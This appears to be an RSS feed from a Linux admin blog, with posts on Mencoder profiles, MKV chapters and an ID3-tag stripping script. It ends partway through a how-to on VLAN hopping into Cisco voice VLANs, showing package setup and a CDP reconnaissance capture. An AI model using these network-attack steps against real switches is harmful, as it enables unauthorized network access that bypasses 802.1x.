<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>SavvyAdmin.com</title>
	<atom:link href="http://savvyadmin.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://savvyadmin.com</link>
	<description>For savvy admins everywhere...</description>
	<lastBuildDate>Fri, 21 Jan 2011 17:53:27 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>Using Mencoder Profiles</title>
		<link>http://savvyadmin.com/using-mencoder-profiles/</link>
		<comments>http://savvyadmin.com/using-mencoder-profiles/#comments</comments>
		<pubDate>Fri, 21 Jan 2011 17:53:27 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[encoding]]></category>
		<category><![CDATA[mencoder]]></category>
		<category><![CDATA[Multimedia]]></category>
		<category><![CDATA[x264]]></category>
		<category><![CDATA[Xvid]]></category>

		<guid isPermaLink="false">http://savvyadmin.com/?p=757</guid>
		<description><![CDATA[Here's a quick tip on using Mencoder profiles that serve as shortcuts for all of your favorite settings.  This can save you a lot of time, especially when your encoding syntax is lengthy and difficult to remember.
Related posts:<ol>
<li><a href='http://savvyadmin.com/dvd-to-xvid-encoding-with-mencoder/' rel='bookmark' title='DVD to XviD Encoding with Mencoder'>DVD to XviD Encoding with Mencoder</a></li>
<li><a href='http://savvyadmin.com/convert-mkv-to-xvid-with-mencoder/' rel='bookmark' title='Convert MKV to Xvid with Mencoder'>Convert MKV to Xvid with Mencoder</a></li>
<li><a href='http://savvyadmin.com/extract-ac3-dolby-digital-with-ffmpeg/' rel='bookmark' title='Extract AC3 Dolby Digital with FFMpeg'>Extract AC3 Dolby Digital with FFMpeg</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Here&#8217;s a quick tip on using Mencoder profiles that serve as shortcuts for all of your favorite settings.  This can save you a lot of time, especially when your encoding syntax is lengthy and difficult to remember.  </p>
<p>Profiles are stored in the <code>mencoder.conf</code> file located in the appropriate place for your operating system.  For Linux users, you can create a personalized file in your own home directory, <code>~/.mplayer/mencoder.conf</code>.</p>
<p>Here&#8217;s the syntax you might use on a single-pass XviD project without using profiles.</p>
<blockquote><p><code><strong>mencoder -oac mp3lame -lameopts aq=0:q=0 -ovc xvid -xvidencopts \<br />
fixed_quant=2:max_key_interval=25:vhq=2:bvhq=1:chroma_opt:quant_type=mpeg \<br />
input.avi -o output.avi</strong></code></p></blockquote>
<p>Compare that with the following examples of some of my favorite profiles, and how easy it is to use them.</p>
<p><strong>XviD Single-pass Profile Example</strong></p>
<blockquote><p><code>[xvid]<br />
profile-desc="MPEG4/MP3 encoding"<br />
ovc=xvid=1<br />
xvidencopts=fixed_quant=2:max_key_interval=25:vhq=2:bvhq=1:chroma_opt=1:quant_type=mpeg<br />
oac=mp3lame=1<br />
lameopts=aq=0:q=0</code></p></blockquote>
<blockquote><p><code><strong>mencoder -profile xvid input.avi -o output.avi</strong></code></p></blockquote>
<p><strong>XviD 2-pass Profile Examples</strong></p>
<blockquote><p><code>[xvid-pass1]<br />
profile-desc="MPEG4/MP3 encoding - PASS 1"<br />
ovc=xvid=1<br />
xvidencopts=pass=1:max_key_interval=25:turbo=1:vhq=0<br />
nosound=1<br />
o=/dev/null<br />
passlogfile=xvid-pass1.log</code></p>
<p><code>[xvid-pass2]<br />
profile-desc="MPEG4/MP3 encoding - PASS 2"<br />
ovc=xvid=1<br />
xvidencopts=pass=2:max_key_interval=25:vhq=2:bvhq=1:chroma_opt=1:quant_type=mpeg:bitrate=2000<br />
oac=mp3lame=1<br />
lameopts=aq=0:q=0<br />
passlogfile=xvid-pass1.log</code></p></blockquote>
<blockquote><p><code><strong>mencoder -profile xvid-pass1 input.avi<br />
mencoder -profile xvid-pass2 input.avi -o output.avi</strong></code></p></blockquote>
<p><strong>x264 2-pass Profile Examples</strong></p>
<blockquote><p><code>[x264-pass1]<br />
profile-desc="x264 encoding - PASS 1"<br />
ovc=x264=1<br />
x264encopts=pass=1:threads=0:subq=1:frameref=1:bframes=3:b_pyramid=normal:weight_b=1:keyint=25<br />
nosound=1<br />
o=/dev/null<br />
passlogfile=x264-pass1.log</code></p>
<p><code>[x264-pass2]<br />
profile-desc="x264 encoding - PASS 2"<br />
ovc=x264=1<br />
x264encopts=pass=2:threads=0:subq=6:frameref=5:partitions=all:8x8dct=1:me=umh:bframes=3:b_pyramid=normal:weight_b=1:keyint=25:bitrate=2000<br />
oac=mp3lame=1<br />
lameopts=aq=0:q=0<br />
passlogfile=x264-pass1.log</code></p></blockquote>
<blockquote><p><code><strong>mencoder -profile x264-pass1 input.avi<br />
mencoder -profile x264-pass2 input.avi -o output.avi</strong></code></p></blockquote>
<p><strong>x264 Single-pass Profile Example</strong></p>
<blockquote><p><code>[x264]<br />
profile-desc="x264 encoding"<br />
ovc=x264=1<br />
x264encopts=crf=20:threads=0:subq=6:frameref=5:partitions=all:8x8dct=1:me=umh:bframes=3:b_pyramid=normal:weight_b=1:keyint=25<br />
aspect=16/9<br />
oac=mp3lame=1<br />
lameopts=aq=0:q=0</code></p></blockquote>
<blockquote><p><code><strong>mencoder -profile x264 input.avi -o output.avi</strong></code></p></blockquote>
<p>Related posts:<ol>
<li><a href='http://savvyadmin.com/dvd-to-xvid-encoding-with-mencoder/' rel='bookmark' title='DVD to XviD Encoding with Mencoder'>DVD to XviD Encoding with Mencoder</a></li>
<li><a href='http://savvyadmin.com/convert-mkv-to-xvid-with-mencoder/' rel='bookmark' title='Convert MKV to Xvid with Mencoder'>Convert MKV to Xvid with Mencoder</a></li>
<li><a href='http://savvyadmin.com/extract-ac3-dolby-digital-with-ffmpeg/' rel='bookmark' title='Extract AC3 Dolby Digital with FFMpeg'>Extract AC3 Dolby Digital with FFMpeg</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/using-mencoder-profiles/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Adding Chapters to Videos Using MKV Containers</title>
		<link>http://savvyadmin.com/adding-chapters-to-videos-using-mkv-containers/</link>
		<comments>http://savvyadmin.com/adding-chapters-to-videos-using-mkv-containers/#comments</comments>
		<pubDate>Thu, 05 Aug 2010 03:16:50 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Matroska]]></category>
		<category><![CDATA[MKV]]></category>
		<category><![CDATA[mkvmerge]]></category>
		<category><![CDATA[mkvtoolnix]]></category>
		<category><![CDATA[Multimedia]]></category>
		<category><![CDATA[Video]]></category>
		<category><![CDATA[x264]]></category>
		<category><![CDATA[Xvid]]></category>

		<guid isPermaLink="false">http://savvyadmin.com/?p=737</guid>
		<description><![CDATA[If you would like to add chapters to your video files, such as XviD, x264, OGG, etc., simply use the Matroska multimedia container format. For those of you that have never created Matroska files, visit the Matroska website to find the right software for your platform. If you&#8217;re using Ubuntu Linux, install the mkvtoolnix package [...]
Related posts:<ol>
<li><a href='http://savvyadmin.com/add-stereo-audio-tracks-to-mkv-files/' rel='bookmark' title='Add Stereo Audio Tracks to MKV Files'>Add Stereo Audio Tracks to MKV Files</a></li>
<li><a href='http://savvyadmin.com/convert-3gp-videos-to-xvid-avi/' rel='bookmark' title='Convert 3gp Videos to XviD AVI'>Convert 3gp Videos to XviD AVI</a></li>
<li><a href='http://savvyadmin.com/quickly-identify-video-file-attributes/' rel='bookmark' title='Quickly Identify Video File Attributes'>Quickly Identify Video File Attributes</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>If you would like to add chapters to your video files, such as XviD, x264, OGG, etc., simply use the <a href="http://www.matroska.org" target="_blank">Matroska</a> multimedia container format.</p>
<p>For those of you that have never created Matroska files, visit the <a href="http://www.matroska.org" target="_blank">Matroska website</a> to find the right software for your platform.  If you&#8217;re using Ubuntu Linux, install the <code>mkvtoolnix</code> package from the repositories.  It contains all the tools you need to start working with MKV files.</p>
<blockquote><p><strong><code>sudo apt-get-install mkvtoolnix</code></strong></p></blockquote>
<p>The easiest method of creating your chapter definitions is with any text editor, using the following format.  Feel free to change the name and time values accordingly.  Save the file anywhere you can remember, e.g. <code>chapter.txt</code>.</p>
<blockquote><p><code>CHAPTER01=00:00:00.000<br />
CHAPTER01NAME=Chapter 01<br />
CHAPTER02=00:05:00.000<br />
CHAPTER02NAME=Chapter 02<br />
CHAPTER03=00:10:00.000<br />
CHAPTER03NAME=Chapter 03<br />
CHAPTER04=00:15:00.000<br />
CHAPTER04NAME=Chapter 04<br />
CHAPTER05=00:20:00.000<br />
CHAPTER05NAME=Chapter 05</code></p></blockquote>
<p>If you want to create a chapter file from an existing DVD, <code>dvdxchap</code> is a great tool for the job if you&#8217;re using Linux.  It&#8217;s part of the <code>ogmtools</code> package.  For more info, check out the <a href="http://www.bunkus.org/videotools/ogmtools/" target="_blank">OGMtools project web site</a>.</p>
<p>Installation and three examples of how to use the tool are below.</p>
<blockquote><p><code><strong>sudo apt-get install ogmtools</code></p>
<p><code>dvdxchap /dev/dvd > chapter.txt<br />
dvdxchap ./VIDEO_TS/ > chapter.txt<br />
dvdxchap video.iso > chapter.txt</strong></code></p></blockquote>
<p><code>mkvmerge</code> is the only tool you need to create an MKV file.  In the following examples, your source video file is called <code>video.avi</code>, and your destination file is <code>video.mkv</code>.</p>
<p>A simplified version of the <code>mkvmerge</code> syntax is as follows.</p>
<blockquote><p><code><strong>mkvmerge video.avi --chapters chapter.txt -o video.mkv</strong></code></p></blockquote>
<p>I typically like to set my default language to English, and also turn off header compression for all tracks since some players don&#8217;t play nicely with compression enabled.  The syntax and example output is displayed below.</p>
<blockquote><p><code><strong>mkvmerge video.avi --default-language eng \<br />
--compression -1:none --chapters chapter.txt -o video.mkv</strong><br />
mkvmerge v4.2.0 ('No Talking') built on Jul 28 2010 16:47:39<br />
'video.avi': Using the AVI demultiplexer. Opening file. This may take some time depending on the file's size.<br />
'video.avi' track 0: Using the MPEG-4 part 2 video output module.<br />
'video.avi' track 1: Using the MPEG audio output module.<br />
The file 'video.mkv' has been opened for writing.<br />
'video.avi' track 0: Extracted the aspect ratio information from the MPEG4 layer 2 video data and set the display dimensions to 712/416.<br />
Progress: 100%<br />
The cue entries (the index) are being written...<br />
Muxing took 30 seconds.</code></p></blockquote>
<p>That&#8217;s really all there is to it.  Now any media player that supports MKV chapters will allow you to navigate them.  My favorites are VLC, Mplayer, and my Western Digital media player, the WD TV Live Plus.</p>
<p>Verify the contents of your MKV using <code>mkvmerge</code> or <code>mkvinfo</code>.</p>
<blockquote><p><code><strong>mkvmerge -i video.mkv</strong><br />
File 'video.mkv': container: Matroska<br />
Track ID 1: video (V_MS/VFW/FOURCC, XVID)<br />
Track ID 2: audio (A_MPEG/L3)<br />
Chapters: 13 entries</code></p>
<p><code>mkvinfo video.mkv<br />
+ EBML head<br />
|+ EBML version: 1<br />
|+ EBML read version: 1<br />
|+ EBML maximum ID length: 4<br />
|+ EBML maximum size length: 8<br />
|+ Doc type: matroska<br />
|+ Doc type version: 2<br />
|+ Doc type read version: 2<br />
+ Segment, size 1325519138<br />
|+ Seek head (subentries will be skipped)<br />
|+ EbmlVoid (size: 4029)<br />
|+ Segment information<br />
| + Timecode scale: 1000000<br />
| + Muxing application: libebml v1.0.0 + libmatroska v1.0.0<br />
| + Writing application: mkvmerge v4.2.0 ('No Talking') built on Jul 28 2010 16:47:39<br />
| + Duration: 5004.680s (01:23:24.680)<br />
| + Date: Thu Aug  5 00:26:03 2010 UTC<br />
| + Segment UID: 0x81 0x4b 0xc4 0xf1 0xf4 0x5b 0x6d 0xda 0xc5 0x40 0xc1 0x03 0x3f 0x36 0x0f 0xd9<br />
|+ Segment tracks<br />
| + A track<br />
|  + Track number: 1<br />
|  + Track UID: 1318207700<br />
|  + Track type: video<br />
|  + Lacing flag: 0<br />
|  + MinCache: 1<br />
|  + Codec ID: V_MS/VFW/FOURCC<br />
|  + CodecPrivate, length 40 (FourCC: XVID, 0x44495658)<br />
|  + Default duration: 40.000ms (25.000 fps for a video track)<br />
|  + Video track<br />
|   + Pixel width: 480<br />
|   + Pixel height: 416<br />
|   + Display width: 712<br />
|   + Display height: 416<br />
| + A track<br />
|  + Track number: 2<br />
|  + Track UID: 3206714560<br />
|  + Track type: audio<br />
|  + Codec ID: A_MPEG/L3<br />
|  + Default duration: 24.000ms (41.667 fps for a video track)<br />
|  + Audio track<br />
|   + Sampling frequency: 48000<br />
|   + Channels: 2<br />
|+ EbmlVoid (size: 1099)<br />
|+ Chapters<br />
| + EditionEntry<br />
|  + EditionFlagHidden: 0<br />
|  + EditionFlagDefault: 0<br />
|  + EditionUID: 585228242<br />
|  + ChapterAtom<br />
|   + ChapterUID: 4059317607<br />
|   + ChapterTimeStart: 00:00:00.000000000<br />
|   + ChapterFlagHidden: 0<br />
|   + ChapterFlagEnabled: 1<br />
|   + ChapterDisplay<br />
|    + ChapterString: Chapter 01<br />
|    + ChapterLanguage: eng<br />
|  + ChapterAtom<br />
|   + ChapterUID: 3065648262<br />
|   + ChapterTimeStart: 00:05:00.000000000<br />
|   + ChapterFlagHidden: 0<br />
|   + ChapterFlagEnabled: 1<br />
|   + ChapterDisplay<br />
|    + ChapterString: Chapter 02<br />
|    + ChapterLanguage: eng<br />
|  + ChapterAtom<br />
|   + ChapterUID: 2388361707<br />
|   + ChapterTimeStart: 00:10:00.000000000<br />
|   + ChapterFlagHidden: 0<br />
|   + ChapterFlagEnabled: 1<br />
|   + ChapterDisplay<br />
|    + ChapterString: Chapter 03<br />
|    + ChapterLanguage: eng<br />
|  + ChapterAtom<br />
|   + ChapterUID: 1448933008<br />
|   + ChapterTimeStart: 00:15:00.000000000<br />
|   + ChapterFlagHidden: 0<br />
|   + ChapterFlagEnabled: 1<br />
|   + ChapterDisplay<br />
|    + ChapterString: Chapter 04<br />
|    + ChapterLanguage: eng<br />
|  + ChapterAtom<br />
|   + ChapterUID: 1319721142<br />
|   + ChapterTimeStart: 00:20:00.000000000<br />
|   + ChapterFlagHidden: 0<br />
|   + ChapterFlagEnabled: 1<br />
|   + ChapterDisplay<br />
|    + ChapterString: Chapter 05<br />
|    + ChapterLanguage: eng<br />
|+ EbmlVoid (size: 101)<br />
|+ Cluster</code></p></blockquote>
<p>Related posts:<ol>
<li><a href='http://savvyadmin.com/add-stereo-audio-tracks-to-mkv-files/' rel='bookmark' title='Add Stereo Audio Tracks to MKV Files'>Add Stereo Audio Tracks to MKV Files</a></li>
<li><a href='http://savvyadmin.com/convert-3gp-videos-to-xvid-avi/' rel='bookmark' title='Convert 3gp Videos to XviD AVI'>Convert 3gp Videos to XviD AVI</a></li>
<li><a href='http://savvyadmin.com/quickly-identify-video-file-attributes/' rel='bookmark' title='Quickly Identify Video File Attributes'>Quickly Identify Video File Attributes</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/adding-chapters-to-videos-using-mkv-containers/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Strip All Unwanted MP3 ID3 Tags</title>
		<link>http://savvyadmin.com/strip-all-unwanted-mp3-id3-tags/</link>
		<comments>http://savvyadmin.com/strip-all-unwanted-mp3-id3-tags/#comments</comments>
		<pubDate>Sun, 20 Jun 2010 21:53:13 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[eyeD3]]></category>
		<category><![CDATA[ID3]]></category>
		<category><![CDATA[MP3]]></category>
		<category><![CDATA[Multimedia]]></category>
		<category><![CDATA[Music]]></category>

		<guid isPermaLink="false">http://savvyadmin.com/?p=721</guid>
		<description><![CDATA[A while back, I wanted to find a tool that would go through my entire collection of MP3&#8242;s and remove all the extra ID3 tags I didn&#8217;t want. For example, when I purchase music from Amazon, Rhapsody, and other online music stores, there are a number of tags in the files that track things like [...]
Related posts:<ol>
<li><a href='http://savvyadmin.com/rhythmbox-id3-tag-issues/' rel='bookmark' title='Rhythmbox ID3 Tag Issues'>Rhythmbox ID3 Tag Issues</a></li>
<li><a href='http://savvyadmin.com/mp3-tag-editing-in-linux/' rel='bookmark' title='MP3 Tag Editing in Linux'>MP3 Tag Editing in Linux</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>A while back, I wanted to find a tool that would go through my entire collection of MP3&#8242;s and remove all the extra ID3 tags I didn&#8217;t want.  For example, when I purchase music from Amazon, Rhapsody, and other online music stores, there are a number of tags in the files that track things like the purchase date and sales transaction ID&#8217;s.  I also like to get rid of annoying comments and other hidden tags that most editors won&#8217;t even show you.</p>
<p>In my search for a tool, I came across this <a href="http://darkstarshout.blogspot.com/2009/01/new-years-resolution-massive-music-tag.html" target="_blank">very useful post</a> outlining a similar project.  In the authors quest to do the same thing, he came up with a shell script that searches for all MP3 files, and removes tags that are not in his list of &#8220;good&#8221; tags.  I usually don&#8217;t like to rehash the work someone else has done, but since I use his script so often, I thought it would be useful to repost it with only minor modifications.</p>
<p><strong>Prerequisite:  Install eyeD3</strong></p>
<p>The script requires the <a href="http://eyed3.nicfit.net/" target="_blank">eyeD3 tag editor</a> to parse and manipulate the tag data.  So be sure to install eyeD3, which should be available in your favorite Linux repository.</p>
<blockquote><p><code><strong>sudo apt-get install eyed3</strong></code></p></blockquote>
<p><strong>Save and Modify Script</strong></p>
<p>Save the following script as <code><a href="/downloads/strip-tags.sh">strip-tags.sh</a></code> somewhere in your executable path.</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/bin/bash</span>
<span style="color: #666666; font-style: italic;"># Script name: strip-tags.sh</span>
<span style="color: #666666; font-style: italic;"># Original Author: Ian of DarkStarShout Blog</span>
<span style="color: #666666; font-style: italic;"># Site: http://darkstarshout.blogspot.com/</span>
<span style="color: #666666; font-style: italic;"># Options slightly modified to liking of SavvyAdmin.com</span>
&nbsp;
<span style="color: #007800;">oktags</span>=<span style="color: #ff0000;">&quot;TALB APIC TCON TPE1 TPE2 TPE3 TIT2 TRCK TYER TCOM TPOS&quot;</span>
&nbsp;
<span style="color: #007800;">indexfile</span>=<span style="color: #000000; font-weight: bold;">`</span><span style="color: #c20cb9; font-weight: bold;">mktemp</span><span style="color: #000000; font-weight: bold;">`</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#Determine tags present:</span>
<span style="color: #c20cb9; font-weight: bold;">find</span> . <span style="color: #660033;">-iname</span> <span style="color: #ff0000;">&quot;*.mp3&quot;</span> <span style="color: #660033;">-exec</span> eyeD3 <span style="color: #660033;">--no-color</span> <span style="color: #660033;">-v</span> <span style="color: #7a0874; font-weight: bold;">&#123;</span><span style="color: #7a0874; font-weight: bold;">&#125;</span> \; <span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #007800;">$indexfile</span>
<span style="color: #007800;">tagspresent</span>=<span style="color: #000000; font-weight: bold;">`</span><span style="color: #c20cb9; font-weight: bold;">sort</span> <span style="color: #660033;">-u</span> <span style="color: #007800;">$indexfile</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">awk</span> -F\<span style="color: #7a0874; font-weight: bold;">&#41;</span>: <span style="color: #ff0000;">'/^&lt;.*$/ {print $1}'</span> \
<span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">uniq</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">awk</span> -F\<span style="color: #7a0874; font-weight: bold;">&#41;</span>\<span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #ff0000;">'{print $1}'</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">awk</span> -F\<span style="color: #7a0874; font-weight: bold;">&#40;</span> <span style="color: #ff0000;">'{print $(NF)}'</span> \
<span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">awk</span> <span style="color: #ff0000;">'BEGIN {ORS=&quot; &quot;} {print $0}'</span><span style="color: #000000; font-weight: bold;">`</span>
&nbsp;
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #007800;">$indexfile</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#Determine tags to strip:</span>
<span style="color: #007800;">tostrip</span>=<span style="color: #000000; font-weight: bold;">`</span><span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-n</span> <span style="color: #007800;">$tagspresent</span> <span style="color: #007800;">$oktags</span> <span style="color: #007800;">$oktags</span> \
<span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">awk</span> <span style="color: #ff0000;">'BEGIN {RS=&quot; &quot;; ORS=&quot;\n&quot;} {print $0}'</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">sort</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">uniq</span> <span style="color: #660033;">-u</span> \
<span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">awk</span> <span style="color: #ff0000;">'BEGIN {ORS=&quot; &quot;} {print $0}'</span><span style="color: #000000; font-weight: bold;">`</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#Confirm action:</span>
<span style="color: #7a0874; font-weight: bold;">echo</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> The following tags have been found <span style="color: #000000; font-weight: bold;">in</span> the mp3s:
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #007800;">$tagspresent</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> These tags are to be stripped:
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #007800;">$tostrip</span>
<span style="color: #7a0874; font-weight: bold;">echo</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-n</span> Press enter to confirm, or Ctrl+C to cancel...
<span style="color: #c20cb9; font-weight: bold;">read</span> dummy
&nbsp;
<span style="color: #666666; font-style: italic;">#Strip 'em</span>
<span style="color: #007800;">stripstring</span>=<span style="color: #000000; font-weight: bold;">`</span><span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #007800;">$tostrip</span> \
<span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">awk</span> <span style="color: #ff0000;">'BEGIN {FS=&quot;\n&quot;; RS=&quot; &quot;} {print &quot;--set-text-frame=&quot; $1 &quot;: &quot;}'</span><span style="color: #000000; font-weight: bold;">`</span>
&nbsp;
<span style="color: #666666; font-style: italic;"># First pass copies any v1.x tags to v2.3 and strips unwanted tag data.</span>
<span style="color: #666666; font-style: italic;"># Second pass removes v1.x tags, since I don't like to use them.</span>
<span style="color: #666666; font-style: italic;"># Without --no-tagging-time-frame, a new unwanted tag is added.  :-)</span>
&nbsp;
<span style="color: #c20cb9; font-weight: bold;">find</span> . <span style="color: #660033;">-iname</span> <span style="color: #ff0000;">&quot;*.mp3&quot;</span> \
<span style="color: #660033;">-exec</span> eyeD3 --to-v2.3 <span style="color: #660033;">--no-tagging-time-frame</span> <span style="color: #007800;">$stripstring</span> <span style="color: #7a0874; font-weight: bold;">&#123;</span><span style="color: #7a0874; font-weight: bold;">&#125;</span> \; \
<span style="color: #660033;">-exec</span> eyeD3 <span style="color: #660033;">--remove-v1</span> <span style="color: #660033;">--no-tagging-time-frame</span> <span style="color: #7a0874; font-weight: bold;">&#123;</span><span style="color: #7a0874; font-weight: bold;">&#125;</span> \; 
&nbsp;
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Script complete!&quot;</span></pre></div></div>

<p>To run the script, just execute it from the top level parent directory.</p>
<blockquote><p><code><strong>cd ~/Music/<br />
strip-tags.sh</strong></code></p></blockquote>
<p>I really didn&#8217;t change a whole lot from the original, only making slight tweaks to eyeD3 options.  For example, I removed colors from the eyeD3 output when creating the first list of tags, and added a line to remove v1.x ID3 tags since I don&#8217;t like to keep them around.</p>
<p>Be sure to edit the list of good tags identified by the &#8220;okaytags&#8221; variable.  My preferred list includes the following:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #007800;">oktags</span>=<span style="color: #ff0000;">&quot;TALB APIC TCON TPE1 TPE2 TPE3 TIT2 TRCK TYER TCOM TPOS&quot;</span></pre></div></div>

<blockquote><p><code><strong>TALB</strong> - Album/Movie/Show title<br />
<strong>APIC</strong> - Attached picture (Album Art)<br />
<strong>TCON</strong> - Content type (Genre)<br />
<strong>TPE1</strong> - Lead performer(s)/Soloist(s)<br />
<strong>TPE2</strong> - Band/orchestra/accompaniment<br />
<strong>TPE3</strong> - Conductor/performer refinement<br />
<strong>TIT2</strong> - Title/songname/content description<br />
<strong>TRCK</strong> - Track number/Position in set<br />
<strong>TYER</strong> - Year<br />
<strong>TCOM</strong> - Composer<br />
<strong>TPOS</strong> - Part of a set<br />
</code></p></blockquote>
<p>Enjoy!</p>
<p>Related posts:<ol>
<li><a href='http://savvyadmin.com/rhythmbox-id3-tag-issues/' rel='bookmark' title='Rhythmbox ID3 Tag Issues'>Rhythmbox ID3 Tag Issues</a></li>
<li><a href='http://savvyadmin.com/mp3-tag-editing-in-linux/' rel='bookmark' title='MP3 Tag Editing in Linux'>MP3 Tag Editing in Linux</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/strip-all-unwanted-mp3-id3-tags/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>VLAN Hopping on Cisco Voice-enabled Switch Ports</title>
		<link>http://savvyadmin.com/vlan-hopping-on-cisco-voice-enabled-switch-ports/</link>
		<comments>http://savvyadmin.com/vlan-hopping-on-cisco-voice-enabled-switch-ports/#comments</comments>
		<pubDate>Wed, 16 Jun 2010 03:33:31 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[802.1q]]></category>
		<category><![CDATA[802.1x]]></category>
		<category><![CDATA[CDP]]></category>
		<category><![CDATA[Cisco]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Networking]]></category>
		<category><![CDATA[Packet Injection]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[tcpreplay]]></category>
		<category><![CDATA[VLAN]]></category>

		<guid isPermaLink="false">http://savvyadmin.com/?p=654</guid>
		<description><![CDATA[There&#8217;s a number of reasons why someone would want to gain unauthorized access to your network&#8217;s voice VLAN, and as you can guess, none of them are any good. By strategically replaying CDP packets used by Cisco VoIP phones, and configuring your computer&#8217;s NIC to use 802.1q tagged packets, you can gain full network access [...]
Related posts:<ol>
<li><a href='http://savvyadmin.com/fwknop-single-packet-authorization-in-ubuntu/' rel='bookmark' title='fwknop: Single Packet Authorization in Ubuntu'>fwknop: Single Packet Authorization in Ubuntu</a></li>
<li><a href='http://savvyadmin.com/virtualbox-wireless-bridging-with-dhcp/' rel='bookmark' title='VirtualBox Wireless Bridging with DHCP'>VirtualBox Wireless Bridging with DHCP</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>There&#8217;s a number of reasons why someone would want to gain unauthorized access to your network&#8217;s voice VLAN, and as you can guess, none of them are any good.  By strategically replaying CDP packets used by Cisco VoIP phones, and configuring your computer&#8217;s NIC to use 802.1q tagged packets, you can gain full network access on a Cisco switch port configured with a Voice VLAN.  <em><strong>Yes&#8230; even those protected by 802.1x authentication.</strong></em>  In the following how-to, we&#8217;ll demonstrate how exploit this behavior using Linux and freely available open source software.</p>
<p><strong>Prerequisites</strong><br />
First, install two packages from your repositories.  The <code>vlan</code> package adds a kernel module required for 802.1q VLAN tagging and the <code>vconfig</code> tool used to configure VLAN sub-interfaces.   <code>tcpreplay</code> is a packet injection utility that we will use to replay CDP packets into the network from a pcap file.</p>
<blockquote><p><code><strong>sudo apt-get install vlan tcpreplay<br />
sudo modprobe 8021q</strong></code></p></blockquote>
<p>The second command loads the 8021q kernel module.  If you want the module loaded at boot-up, remember to add it to <code>/etc/modules</code> or the appropriate file for your GNU/Linux distribution.</p>
<p><strong>Discover Voice-enabled Switch Port Information</strong></p>
<p>Plug into the switched network, bypassing the VoIP phone, and perform a packet capture to inspect the switches CDP announcements.  If the switch port is configured with a Voice VLAN, the configured VLAN identifier will be advertised.  From our output below, the switch says we are plugged into port number FastEthernet0/24 and the Voice VLAN number is 64.</p>
<blockquote><p><code><strong>sudo tcpdump -s 0 -c 1 -ni eth0 ether host 01:00:0c:cc:cc:cc</strong><br />
17:17:13.215645 CDPv2, ttl: 180s, checksum: 692 (unverified), length 404<br />
	Device-ID (0x01), length: 26 bytes: 'labswitch.example.com'<br />
	Version String (0x05), length: 186 bytes:<br />
	  Cisco IOS Software, C2960 Software (C2960-LANBASEK9-M), Version 12.2(50)SE1, RELEASE SOFTWARE (fc2)<br />
	  Copyright (c) 1986-2009 by Cisco Systems, Inc.<br />
	  Compiled Mon 06-Apr-09 08:36 by amvarma<br />
	Platform (0x06), length: 21 bytes: 'cisco WS-C2960-24PC-L'<br />
	Address (0x02), length: 13 bytes: IPv4 (1) 10.1.1.1<br />
